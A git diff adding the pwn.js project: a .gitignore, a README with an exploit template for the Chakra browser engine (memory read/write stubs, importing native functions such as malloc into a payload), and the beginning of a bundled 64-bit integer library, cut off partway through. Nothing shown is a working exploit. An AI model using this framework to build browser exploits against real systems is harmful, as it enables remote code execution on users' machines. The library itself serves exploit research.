diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..12565bc --- /dev/null +++ b/.gitignore @@ -0,0 +1,101 @@ +# General +.DS_Store +.AppleDouble +.LSOverride + +# Icon must end with two \r +Icon + + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns +.com.apple.timemachine.donotpresent + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (https://nodejs.org/api/addons.html) +build/Release + +# Dependency directories +node_modules/ +jspm_packages/ + +# Typescript v1 declaration files +typings/ + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# dotenv environment variables file +.env + +# Swap +[._]*.s[a-v][a-z] +[._]*.sw[a-p] +[._]s[a-v][a-z] +[._]sw[a-p] + +# Session +Session.vim + +# Temporary +.netrwhist +*~ +# Auto-generated tag files +tags diff --git a/README.md b/README.md new file mode 100644 index 0000000..bb75d20 --- /dev/null +++ b/README.md @@ -0,0 +1,80 @@ +# pwn.js + +## Basic Usage + +Pre-built version of the library is located at /dist/pwn.js. API documentation is available in /docs, and examples of complete exploits are in /examples. + +If you want to implement a new Chakra exploit, you can use this basic template: + +```js +var Exploit = (function() { + var ChakraExploit = pwnjs.ChakraExploit, + Integer = pwnjs.Integer; + + function Exploit() { + ChakraExploit.call(this); + // TODO: implement your exploit + // TODO: leak any Chakra.dll address (e.g. a vtable) + this.initChakra(vtable); + } + Exploit.prototype = Object.create(ChakraExploit.prototype); + Exploit.prototype.constructor = Exploit; + Exploit.prototype.read = function (address, size) { + switch (size) { + case 8: + case 16: + case 32: + case 64: + // TODO: implement memory read of address + } + } + Exploit.prototype.write = function (address, value, size) { + switch (size) { + case 8: + case 16: + case 32: + case 64: + // TODO: implement memory write of value to address + } + } + return Exploit; +})(); +``` + +Using an exploit in a payload is easier if you use the deprecated _with_ statement: + +```js +with (new Exploit()) { + var malloc = importFunction('msvcrt.dll', 'malloc', Uint8Ptr); + // ... +} +``` + +You can also define an Exploit object (non-deprecated, but more verbose): + +```js +var e = new Exploit(); +var malloc = e.importFunction('msvcrt.dll', 'malloc', Uint8Ptr); +// ... +``` + +## Build Instructions + +You can rebuild the library using webpack: + +``` +$ npm install +$ npm run build +``` + +You can rebuild the documentation using jsdoc: + +``` +$ npm run jsdoc +``` + +Also, you can run a small HTTP server to host the documentation and examples: + +``` +$ npm start +``` diff --git a/dist/pwn.js b/dist/pwn.js new file mode 100644 index 0000000..a845698 --- /dev/null +++ b/dist/pwn.js @@ -0,0 +1,2434 @@ +var pwnjs = +/******/ (function(modules) { // webpackBootstrap +/******/ // The module cache +/******/ var installedModules = {}; +/******/ +/******/ // The require function +/******/ function __webpack_require__(moduleId) { +/******/ +/******/ // Check if module is in cache +/******/ if(installedModules[moduleId]) { +/******/ return installedModules[moduleId].exports; +/******/ } +/******/ // Create a new module (and put it into the cache) +/******/ var module = installedModules[moduleId] = { +/******/ i: moduleId, +/******/ l: false, +/******/ exports: {} +/******/ }; +/******/ +/******/ // Execute the module function +/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); +/******/ +/******/ // Flag the module as loaded +/******/ module.l = true; +/******/ +/******/ // Return the exports of the module +/******/ return module.exports; +/******/ } +/******/ +/******/ +/******/ // expose the modules object (__webpack_modules__) +/******/ __webpack_require__.m = modules; +/******/ +/******/ // expose the module cache +/******/ __webpack_require__.c = installedModules; +/******/ +/******/ // define getter function for harmony exports +/******/ __webpack_require__.d = function(exports, name, getter) { +/******/ if(!__webpack_require__.o(exports, name)) { +/******/ Object.defineProperty(exports, name, { +/******/ configurable: false, +/******/ enumerable: true, +/******/ get: getter +/******/ }); +/******/ } +/******/ }; +/******/ +/******/ // getDefaultExport function for compatibility with non-harmony modules +/******/ __webpack_require__.n = function(module) { +/******/ var getter = module && module.__esModule ? +/******/ function getDefault() { return module['default']; } : +/******/ function getModuleExports() { return module; }; +/******/ __webpack_require__.d(getter, 'a', getter); +/******/ return getter; +/******/ }; +/******/ +/******/ // Object.prototype.hasOwnProperty.call +/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; +/******/ +/******/ // __webpack_public_path__ +/******/ __webpack_require__.p = ""; +/******/ +/******/ // Load entry module and return exports +/******/ return __webpack_require__(__webpack_require__.s = 3); +/******/ }) +/************************************************************************/ +/******/ ([ +/* 0 */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +/** + * @license long.js (c) 2013 Daniel Wirtz + * Released under the Apache License, Version 2.0 + * see: https://github.com/dcodeIO/long.js for details + */ +var Integer = (function() { + /** + * Constructs a 64 bit two's-complement integer, given its low and high 32 bit values as *signed* integers. + * See the from* functions below for more convenient ways of constructing Integers. + * @exports Integer + * @class A Integer class for representing a 64 bit two's-complement integer value. + * @param {number} low The low (signed) 32 bits of the long + * @param {number} high The high (signed) 32 bits of the long + * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed + * @constructor + */ + function Integer(low, high, unsigned, size) { + + this.size = size || 64; + + if (size == 8) { + low &= 0xff; + if (unsigned || low < 0x80) { + high = 0; + } else { + low |= 0xffffff00; + high = 0xffffffff; + } + } else if (size == 16) { + low &= 0xffff; + if (unsigned || low < 0x8000) { + high = 0; + } else { + low |= 0xffff0000; + high = 0xffffffff; + } + } else if (size == 32) { + if (unsigned || (low|0) >= 0) { + high = 0; + } else { + high = 0xffffffff; + } + } + + /** + * The low 32 bits as a signed value. + * @type {number} + */ + this.low = low | 0; + + /** + * The high 32 bits as a signed value. + * @type {number} + */ + this.high = high | 0; + + /** + * Whether unsigned or not. + * @type {boolean} + */ + this.unsigned = !!unsigned; + } + + // The internal representation of a long is the two given signed, 32-bit values. + // We use 32-bit pieces because these are the size of integers on which + // Javascript performs bit-operations. For operations like addition and + // multiplication, we split each number into 16 bit pieces, which can easily be + // multiplied within Javascript's floating-point representation without overflow + // or change in sign. + // + // In the algorithms below, we frequently reduce the negative case to the + // positive case by negating the input(s) and then post-processing the result. + // Note that we must ALWAYS check specially whether those values are MIN_VALUE + // (-2^63) because -MIN_VALUE == MIN_VALUE (since 2^63 cannot be represented as + // a positive number, it overflows back into a negative). Not handling this + // case would often result in infinite recursion. + // + // Common constant values ZERO, ONE, NEG_ONE, etc. are defined below the from* + // methods on which they depend. + + /** + * An indicator used to reliably determine if an object is a Integer or not. + * @type {boolean} + * @const + * @private + */ + Integer.prototype.__isInteger__; + + Object.defineProperty(Integer.prototype, "__isInteger__", { + value: true, + enumerable: false, + configurable: false + }); + + /** + * @function + * @param {*} obj Object + * @returns {boolean} + * @inner + */ + function isInteger(obj) { + return (obj && obj["__isInteger__"]) === true; + } + + /** + * Tests if the specified object is a Integer. + * @function + * @param {*} obj Object + * @returns {boolean} + */ + Integer.isInteger = isInteger; + + /** + * A cache of the Integer representations of small integer values. + * @type {!Object} + * @inner + */ + var INT_CACHE = {}; + + /** + * A cache of the Integer representations of small unsigned integer values. + * @type {!Object} + * @inner + */ + var UINT_CACHE = {}; + + /** + * @param {number} value + * @param {boolean=} unsigned + * @returns {!Integer} + * @inner + */ + function fromInt(value, unsigned) { + var obj, cachedObj, cache; + if (unsigned) { + value >>>= 0; + if (cache = (0 <= value && value < 256)) { + cachedObj = UINT_CACHE[value]; + if (cachedObj) + return cachedObj; + } + obj = fromBits(value, (value | 0) < 0 ? -1 : 0, true); + if (cache) + UINT_CACHE[value] = obj; + return obj; + } else { + value |= 0; + if (cache = (-128 <= value && value < 128)) { + cachedObj = INT_CACHE[value]; + if (cachedObj) + return cachedObj; + } + obj = fromBits(value, value < 0 ? -1 : 0, false); + if (cache) + INT_CACHE[value] = obj; + return obj; + } + } + + /** + * Returns a Integer representing the given 32 bit integer value. + * @function + * @param {number} value The 32 bit integer in question + * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed + * @returns {!Integer} The corresponding Integer value + */ + Integer.fromInt = fromInt; + + /** + * @param {number} value + * @param {boolean=} unsigned + * @returns {!Integer} + * @inner + */ + function fromNumber(value, unsigned) { + if (isNaN(value) || !isFinite(value)) + return unsigned ? UZERO : ZERO; + if (unsigned) { + if (value < 0) + return UZERO; + if (value >= TWO_PWR_64_DBL) + return MAX_UNSIGNED_VALUE; + } else { + if (value <= -TWO_PWR_63_DBL) + return MIN_VALUE; + if (value + 1 >= TWO_PWR_63_DBL) + return MAX_VALUE; + } + if (value < 0) + return fromNumber(-value, unsigned).neg(); + return fromBits((value % TWO_PWR_32_DBL) | 0, (value / TWO_PWR_32_DBL) | 0, unsigned); + } + + /** + * Returns a Integer representing the given value, provided that it is a finite number. Otherwise, zero is returned. + * @function + * @param {number} value The number in question + * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed + * @returns {!Integer} The corresponding Integer value + */ + Integer.fromNumber = fromNumber; + + /** + * @param {number} lowBits + * @param {number} highBits + * @param {boolean=} unsigned + * @returns {!Integer} + * @inner + */ + function fromBits(lowBits, highBits, unsigned) { + return new Integer(lowBits, highBits, unsigned); + } + + /** + * Returns a Integer representing the 64 bit integer that comes by concatenating the given low and high bits. Each is + * assumed to use 32 bits. + * @function + * @param {number} lowBits The low 32 bits + * @param {number} highBits The high 32 bits + * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed + * @returns {!Integer} The corresponding Integer value + */ + Integer.fromBits = fromBits; + + /** + * @function + * @param {number} base + * @param {number} exponent + * @returns {number} + * @inner + */ + var pow_dbl = Math.pow; // Used 4 times (4*8 to 15+4) + + /** + * @param {string} str + * @param {(boolean|number)=} unsigned + * @param {number=} radix + * @returns {!Integer} + * @inner + */ + function fromString(str, unsigned, radix) { + if (str.length === 0) + throw Error('empty string'); + if (str === "NaN" || str === "Infinity" || str === "+Infinity" || str === "-Infinity") + return ZERO; + if (typeof unsigned === 'number') { + // For goog.math.long compatibility + radix = unsigned, + unsigned = false; + } else { + unsigned = !! unsigned; + } + radix = radix || 10; + if (radix < 2 || 36 < radix) + throw RangeError('radix'); + + var p; + if ((p = str.indexOf('-')) > 0) + throw Error('interior hyphen'); + else if (p === 0) { + return fromString(str.substring(1), unsigned, radix).neg(); + } + + // Do several (8) digits each time through the loop, so as to + // minimize the calls to the very expensive emulated div. + var radixToPower = fromNumber(pow_dbl(radix, 8)); + + var result = ZERO; + for (var i = 0; i < str.length; i += 8) { + var size = Math.min(8, str.length - i), + value = parseInt(str.substring(i, i + size), radix); + if (size < 8) { + var power = fromNumber(pow_dbl(radix, size)); + result = result.mul(power).add(fromNumber(value)); + } else { + result = result.mul(radixToPower); + result = result.add(fromNumber(value)); + } + } + result.unsigned = unsigned; + return result; + } + + /** + * Returns a Integer representation of the given string, written using the specified radix. + * @function + * @param {string} str The textual representation of the Integer + * @param {(boolean|number)=} unsigned Whether unsigned or not, defaults to `false` for signed + * @param {number=} radix The radix in which the text is written (2-36), defaults to 10 + * @returns {!Integer} The corresponding Integer value + */ + Integer.fromString = fromString; + + /** + * @function + * @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val + * @returns {!Integer} + * @inner + */ + function fromValue(val) { + if (val /* is compatible */ instanceof Integer) + return val; + if (typeof val === 'number') + return fromNumber(val); + if (typeof val === 'string') + return fromString(val); + // Throws for non-objects, converts non-instanceof Integer: + return fromBits(val.low, val.high, val.unsigned); + } + + /** + * Converts the specified value to a Integer. + * @function + * @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val Value + * @returns {!Integer} + */ + Integer.fromValue = fromValue; + + // NOTE: the compiler should inline these constant values below and then remove these variables, so there should be + // no runtime penalty for these. + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_16_DBL = 1 << 16; + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_24_DBL = 1 << 24; + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_32_DBL = TWO_PWR_16_DBL * TWO_PWR_16_DBL; + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_64_DBL = TWO_PWR_32_DBL * TWO_PWR_32_DBL; + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_63_DBL = TWO_PWR_64_DBL / 2; + + /** + * @type {!Integer} + * @const + * @inner + */ + var TWO_PWR_24 = fromInt(TWO_PWR_24_DBL); + + /** + * @type {!Integer} + * @inner + */ + var ZERO = fromInt(0); + + /** + * Signed zero. + * @type {!Integer} + */ + Integer.ZERO = ZERO; + + /** + * @type {!Integer} + * @inner + */ + var UZERO = fromInt(0, true); + + /** + * Unsigned zero. + * @type {!Integer} + */ + Integer.UZERO = UZERO; + + /** + * @type {!Integer} + * @inner + */ + var ONE = fromInt(1); + + /** + * Signed one. + * @type {!Integer} + */ + Integer.ONE = ONE; + + /** + * @type {!Integer} + * @inner + */ + var UONE = fromInt(1, true); + + /** + * Unsigned one. + * @type {!Integer} + */ + Integer.UONE = UONE; + + /** + * @type {!Integer} + * @inner + */ + var NEG_ONE = fromInt(-1); + + /** + * Signed negative one. + * @type {!Integer} + */ + Integer.NEG_ONE = NEG_ONE; + + /** + * @type {!Integer} + * @inner + */ + var MAX_VALUE = fromBits(0xFFFFFFFF|0, 0x7FFFFFFF|0, false); + + /** + * Maximum signed value. + * @type {!Integer} + */ + Integer.MAX_VALUE = MAX_VALUE; + + /** + * @type {!Integer} + * @inner + */ + var MAX_UNSIGNED_VALUE = fromBits(0xFFFFFFFF|0, 0xFFFFFFFF|0, true); + + /** + * Maximum unsigned value. + * @type {!Integer} + */ + Integer.MAX_UNSIGNED_VALUE = MAX_UNSIGNED_VALUE; + + /** + * @type {!Integer} + * @inner + */ + var MIN_VALUE = fromBits(0, 0x80000000|0, false); + + /** + * Minimum signed value. + * @type {!Integer} + */ + Integer.MIN_VALUE = MIN_VALUE; + + /** + * @alias Integer.prototype + * @inner + */ + var IntegerPrototype = Integer.prototype; + + /** + * Converts the Integer to a 32 bit integer, assuming it is a 32 bit integer. + * @returns {number} + */ + IntegerPrototype.toInt = function toInt() { + return this.unsigned ? this.low >>> 0 : this.low; + }; + + /** + * Converts the Integer to a the nearest floating-point representation of this value (double, 53 bit mantissa). + * @returns {number} + */ + IntegerPrototype.toNumber = function toNumber() { + if (this.unsigned) + return ((this.high >>> 0) * TWO_PWR_32_DBL) + (this.low >>> 0); + return this.high * TWO_PWR_32_DBL + (this.low >>> 0); + }; + + /** + * Converts the Integer to a string written in the specified radix. + * @param {number=} radix Radix (2-36), defaults to 10 + * @returns {string} + * @override + * @throws {RangeError} If `radix` is out of range + */ + IntegerPrototype.toString = function toString(radix) { + radix = radix || 10; + if (radix < 2 || 36 < radix) + throw RangeError('radix'); + if (this.isZero()) + return '0'; + if (this.isNegative()) { // Unsigned Integers are never negative + if (this.eq(MIN_VALUE)) { + // We need to change the Integer value before it can be negated, so we remove + // the bottom-most digit in this base and then recurse to do the rest. + var radixInteger = fromNumber(radix), + div = this.div(radixInteger), + rem1 = div.mul(radixInteger).sub(this); + return div.toString(radix) + rem1.toInt().toString(radix); + } else + return '-' + this.neg().toString(radix); + } + + // Do several (6) digits each time through the loop, so as to + // minimize the calls to the very expensive emulated div. + var radixToPower = fromNumber(pow_dbl(radix, 6), this.unsigned), + rem = this; + var result = ''; + while (true) { + var remDiv = rem.div(radixToPower), + intval = rem.sub(remDiv.mul(radixToPower)).toInt() >>> 0, + digits = intval.toString(radix); + rem = remDiv; + if (rem.isZero()) + return digits + result; + else { + while (digits.length < 6) + digits = '0' + digits; + result = '' + digits + result; + } + } + }; + + /** + * Gets the high 32 bits as a signed integer. + * @returns {number} Signed high bits + */ + IntegerPrototype.getHighBits = function getHighBits() { + return this.high; + }; + + /** + * Gets the high 32 bits as an unsigned integer. + * @returns {number} Unsigned high bits + */ + IntegerPrototype.getHighBitsUnsigned = function getHighBitsUnsigned() { + return this.high >>> 0; + }; + + /** + * Gets the low 32 bits as a signed integer. + * @returns {number} Signed low bits + */ + IntegerPrototype.getLowBits = function getLowBits() { + return this.low; + }; + + /** + * Gets the low 32 bits as an unsigned integer. + * @returns {number} Unsigned low bits + */ + IntegerPrototype.getLowBitsUnsigned = function getLowBitsUnsigned() { + return this.low >>> 0; + }; + + /** + * Gets the number of bits needed to represent the absolute value of this Integer. + * @returns {number} + */ + IntegerPrototype.getNumBitsAbs = function getNumBitsAbs() { + if (this.isNegative()) // Unsigned Integers are never negative + return this.eq(MIN_VALUE) ? 64 : this.neg().getNumBitsAbs(); + var val = this.high != 0 ? this.high : this.low; + for (var bit = 31; bit > 0; bit--) + if ((val & (1 << bit)) != 0) + break; + return this.high != 0 ? bit + 33 : bit + 1; + }; + + /** + * Tests if this Integer's value equals zero. + * @returns {boolean} + */ + IntegerPrototype.isZero = function isZero() { + return this.high === 0 && this.low === 0; + }; + + /** + * Tests if this Integer's value is negative. + * @returns {boolean} + */ + IntegerPrototype.isNegative = function isNegative() { + return !this.unsigned && this.high < 0; + }; + + /** + * Tests if this Integer's value is positive. + * @returns {boolean} + */ + IntegerPrototype.isPositive = function isPositive() { + return this.unsigned || this.high >= 0; + }; + + /** + * Tests if this Integer's value is odd. + * @returns {boolean} + */ + IntegerPrototype.isOdd = function isOdd() { + return (this.low & 1) === 1; + }; + + /** + * Tests if this Integer's value is even. + * @returns {boolean} + */ + IntegerPrototype.isEven = function isEven() { + return (this.low & 1) === 0; + }; + + /** + * Tests if this Integer's value equals the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.equals = function equals(other) { + if (!isInteger(other)) + other = fromValue(other); + if (this.unsigned !== other.unsigned && (this.high >>> 31) === 1 && (other.high >>> 31) === 1) + return false; + return this.high === other.high && this.low === other.low; + }; + + /** + * Tests if this Integer's value equals the specified's. This is an alias of {@link Integer#equals}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.eq = IntegerPrototype.equals; + + /** + * Tests if this Integer's value differs from the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.notEquals = function notEquals(other) { + return !this.eq(/* validates */ other); + }; + + /** + * Tests if this Integer's value differs from the specified's. This is an alias of {@link Integer#notEquals}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.neq = IntegerPrototype.notEquals; + + /** + * Tests if this Integer's value is less than the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.lessThan = function lessThan(other) { + return this.comp(/* validates */ other) < 0; + }; + + /** + * Tests if this Integer's value is less than the specified's. This is an alias of {@link Integer#lessThan}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.lt = IntegerPrototype.lessThan; + + /** + * Tests if this Integer's value is less than or equal the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.lessThanOrEqual = function lessThanOrEqual(other) { + return this.comp(/* validates */ other) <= 0; + }; + + /** + * Tests if this Integer's value is less than or equal the specified's. This is an alias of {@link Integer#lessThanOrEqual}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.lte = IntegerPrototype.lessThanOrEqual; + + /** + * Tests if this Integer's value is greater than the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.greaterThan = function greaterThan(other) { + return this.comp(/* validates */ other) > 0; + }; + + /** + * Tests if this Integer's value is greater than the specified's. This is an alias of {@link Integer#greaterThan}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.gt = IntegerPrototype.greaterThan; + + /** + * Tests if this Integer's value is greater than or equal the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.greaterThanOrEqual = function greaterThanOrEqual(other) { + return this.comp(/* validates */ other) >= 0; + }; + + /** + * Tests if this Integer's value is greater than or equal the specified's. This is an alias of {@link Integer#greaterThanOrEqual}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.gte = IntegerPrototype.greaterThanOrEqual; + + /** + * Compares this Integer's value with the specified's. + * @param {!Integer|number|string} other Other value + * @returns {number} 0 if they are the same, 1 if the this is greater and -1 + * if the given one is greater + */ + IntegerPrototype.compare = function compare(other) { + if (!isInteger(other)) + other = fromValue(other); + if (this.eq(other)) + return 0; + var thisNeg = this.isNegative(), + otherNeg = other.isNegative(); + if (thisNeg && !otherNeg) + return -1; + if (!thisNeg && otherNeg) + return 1; + // At this point the sign bits are the same + if (!this.unsigned) + return this.sub(other).isNegative() ? -1 : 1; + // Both are positive if at least one is unsigned + return (other.high >>> 0) > (this.high >>> 0) || (other.high === this.high && (other.low >>> 0) > (this.low >>> 0)) ? -1 : 1; + }; + + /** + * Compares this Integer's value with the specified's. This is an alias of {@link Integer#compare}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {number} 0 if they are the same, 1 if the this is greater and -1 + * if the given one is greater + */ + IntegerPrototype.comp = IntegerPrototype.compare; + + /** + * Negates this Integer's value. + * @returns {!Integer} Negated Integer + */ + IntegerPrototype.negate = function negate() { + if (!this.unsigned && this.eq(MIN_VALUE)) + return MIN_VALUE; + return this.not().add(ONE); + }; + + /** + * Negates this Integer's value. This is an alias of {@link Integer#negate}. + * @function + * @returns {!Integer} Negated Integer + */ + IntegerPrototype.neg = IntegerPrototype.negate; + + /** + * Returns the sum of this and the specified Integer. + * @param {!Integer|number|string} addend Addend + * @returns {!Integer} Sum + */ + IntegerPrototype.add = function add(addend) { + if (!isInteger(addend)) + addend = fromValue(addend); + + // Divide each number into 4 chunks of 16 bits, and then sum the chunks. + + var a48 = this.high >>> 16; + var a32 = this.high & 0xFFFF; + var a16 = this.low >>> 16; + var a00 = this.low & 0xFFFF; + + var b48 = addend.high >>> 16; + var b32 = addend.high & 0xFFFF; + var b16 = addend.low >>> 16; + var b00 = addend.low & 0xFFFF; + + var c48 = 0, c32 = 0, c16 = 0, c00 = 0; + c00 += a00 + b00; + c16 += c00 >>> 16; + c00 &= 0xFFFF; + c16 += a16 + b16; + c32 += c16 >>> 16; + c16 &= 0xFFFF; + c32 += a32 + b32; + c48 += c32 >>> 16; + c32 &= 0xFFFF; + c48 += a48 + b48; + c48 &= 0xFFFF; + return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size); + }; + + /** + * Returns the difference of this and the specified Integer. + * @param {!Integer|number|string} subtrahend Subtrahend + * @returns {!Integer} Difference + */ + IntegerPrototype.subtract = function subtract(subtrahend) { + if (!isInteger(subtrahend)) + subtrahend = fromValue(subtrahend); + return this.add(subtrahend.neg()); + }; + + /** + * Returns the difference of this and the specified Integer. This is an alias of {@link Integer#subtract}. + * @function + * @param {!Integer|number|string} subtrahend Subtrahend + * @returns {!Integer} Difference + */ + IntegerPrototype.sub = IntegerPrototype.subtract; + + /** + * Returns the product of this and the specified Integer. + * @param {!Integer|number|string} multiplier Multiplier + * @returns {!Integer} Product + */ + IntegerPrototype.multiply = function multiply(multiplier) { + if (this.isZero()) + return ZERO; + if (!isInteger(multiplier)) + multiplier = fromValue(multiplier); + if (multiplier.isZero()) + return ZERO; + if (this.eq(MIN_VALUE)) + return multiplier.isOdd() ? MIN_VALUE : ZERO; + if (multiplier.eq(MIN_VALUE)) + return this.isOdd() ? MIN_VALUE : ZERO; + + if (this.isNegative()) { + if (multiplier.isNegative()) + return this.neg().mul(multiplier.neg()); + else + return this.neg().mul(multiplier).neg(); + } else if (multiplier.isNegative()) + return this.mul(multiplier.neg()).neg(); + + // If both longs are small, use float multiplication + if (this.lt(TWO_PWR_24) && multiplier.lt(TWO_PWR_24)) + return fromNumber(this.toNumber() * multiplier.toNumber(), this.unsigned); + + // Divide each long into 4 chunks of 16 bits, and then add up 4x4 products. + // We can skip products that would overflow. + + var a48 = this.high >>> 16; + var a32 = this.high & 0xFFFF; + var a16 = this.low >>> 16; + var a00 = this.low & 0xFFFF; + + var b48 = multiplier.high >>> 16; + var b32 = multiplier.high & 0xFFFF; + var b16 = multiplier.low >>> 16; + var b00 = multiplier.low & 0xFFFF; + + var c48 = 0, c32 = 0, c16 = 0, c00 = 0; + c00 += a00 * b00; + c16 += c00 >>> 16; + c00 &= 0xFFFF; + c16 += a16 * b00; + c32 += c16 >>> 16; + c16 &= 0xFFFF; + c16 += a00 * b16; + c32 += c16 >>> 16; + c16 &= 0xFFFF; + c32 += a32 * b00; + c48 += c32 >>> 16; + c32 &= 0xFFFF; + c32 += a16 * b16; + c48 += c32 >>> 16; + c32 &= 0xFFFF; + c32 += a00 * b32; + c48 += c32 >>> 16; + c32 &= 0xFFFF; + c48 += a48 * b00 + a32 * b16 + a16 * b32 + a00 * b48; + c48 &= 0xFFFF; + return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size); + }; + + /** + * Returns the product of this and the specified Integer. This is an alias of {@link Integer#multiply}. + * @function + * @param {!Integer|number|string} multiplier Multiplier + * @returns {!Integer} Product + */ + IntegerPrototype.mul = IntegerPrototype.multiply; + + /** + * Returns this Integer divided by the specified. The result is signed if this Integer is signed or + * unsigned if this Integer is unsigned. + * @param {!Integer|number|string} divisor Divisor + * @returns {!Integer} Quotient + */ + IntegerPrototype.divide = function divide(divisor) { + if (!isInteger(divisor)) + divisor = fromValue(divisor); + if (divisor.isZero()) + throw Error('division by zero'); + if (this.isZero()) + return this.unsigned ? UZERO : ZERO; + var approx, rem, res; + if (!this.unsigned) { + // This section is only relevant for signed longs and is derived from the + // closure library as a whole. + if (this.eq(MIN_VALUE)) { + if (divisor.eq(ONE) || divisor.eq(NEG_ONE)) + return MIN_VALUE; // recall that -MIN_VALUE == MIN_VALUE + else if (divisor.eq(MIN_VALUE)) + return ONE; + else { + // At this point, we have |other| >= 2, so |this/other| < |MIN_VALUE|. + var halfThis = this.shr(1); + approx = halfThis.div(divisor).shl(1); + if (approx.eq(ZERO)) { + return divisor.isNegative() ? ONE : NEG_ONE; + } else { + rem = this.sub(divisor.mul(approx)); + res = approx.add(rem.div(divisor)); + return res; + } + } + } else if (divisor.eq(MIN_VALUE)) + return this.unsigned ? UZERO : ZERO; + if (this.isNegative()) { + if (divisor.isNegative()) + return this.neg().div(divisor.neg()); + return this.neg().div(divisor).neg(); + } else if (divisor.isNegative()) + return this.div(divisor.neg()).neg(); + res = ZERO; + } else { + // The algorithm below has not been made for unsigned longs. It's therefore + // required to take special care of the MSB prior to running it. + if (!divisor.unsigned) + divisor = divisor.toUnsigned(); + if (divisor.gt(this)) + return UZERO; + if (divisor.gt(this.shru(1))) // 15 >>> 1 = 7 ; with divisor = 8 ; true + return UONE; + res = UZERO; + } + + // Repeat the following until the remainder is less than other: find a + // floating-point that approximates remainder / other *from below*, add this + // into the result, and subtract it from the remainder. It is critical that + // the approximate value is less than or equal to the real value so that the + // remainder never becomes negative. + rem = this; + while (rem.gte(divisor)) { + // Approximate the result of division. This may be a little greater or + // smaller than the actual value. + approx = Math.max(1, Math.floor(rem.toNumber() / divisor.toNumber())); + + // We will tweak the approximate result by changing it in the 48-th digit or + // the smallest non-fractional digit, whichever is larger. + var log2 = Math.ceil(Math.log(approx) / Math.LN2), + delta = (log2 <= 48) ? 1 : pow_dbl(2, log2 - 48), + + // Decrease the approximation until it is smaller than the remainder. Note + // that if it is too large, the product overflows and is negative. + approxRes = fromNumber(approx), + approxRem = approxRes.mul(divisor); + while (approxRem.isNegative() || approxRem.gt(rem)) { + approx -= delta; + approxRes = fromNumber(approx, this.unsigned); + approxRem = approxRes.mul(divisor); + } + + // We know the answer can't be zero... and actually, zero would cause + // infinite recursion since we would make no progress. + if (approxRes.isZero()) + approxRes = ONE; + + res = res.add(approxRes); + rem = rem.sub(approxRem); + } + return res; + }; + + /** + * Returns this Integer divided by the specified. This is an alias of {@link Integer#divide}. + * @function + * @param {!Integer|number|string} divisor Divisor + * @returns {!Integer} Quotient + */ + IntegerPrototype.div = IntegerPrototype.divide; + + /** + * Returns this Integer modulo the specified. + * @param {!Integer|number|string} divisor Divisor + * @returns {!Integer} Remainder + */ + IntegerPrototype.modulo = function modulo(divisor) { + if (!isInteger(divisor)) + divisor = fromValue(divisor); + return this.sub(this.div(divisor).mul(divisor)); + }; + + /** + * Returns this Integer modulo the specified. This is an alias of {@link Integer#modulo}. + * @function + * @param {!Integer|number|string} divisor Divisor + * @returns {!Integer} Remainder + */ + IntegerPrototype.mod = IntegerPrototype.modulo; + + /** + * Returns the bitwise NOT of this Integer. + * @returns {!Integer} + */ + IntegerPrototype.not = function not() { + return fromBits(~this.low, ~this.high, this.unsigned, this.size); + }; + + /** + * Returns the bitwise AND of this Integer and the specified. + * @param {!Integer|number|string} other Other Integer + * @returns {!Integer} + */ + IntegerPrototype.and = function and(other) { + if (!isInteger(other)) + other = fromValue(other); + return fromBits(this.low & other.low, this.high & other.high, this.unsigned, this.size); + }; + + /** + * Returns the bitwise OR of this Integer and the specified. + * @param {!Integer|number|string} other Other Integer + * @returns {!Integer} + */ + IntegerPrototype.or = function or(other) { + if (!isInteger(other)) + other = fromValue(other); + return fromBits(this.low | other.low, this.high | other.high, this.unsigned, 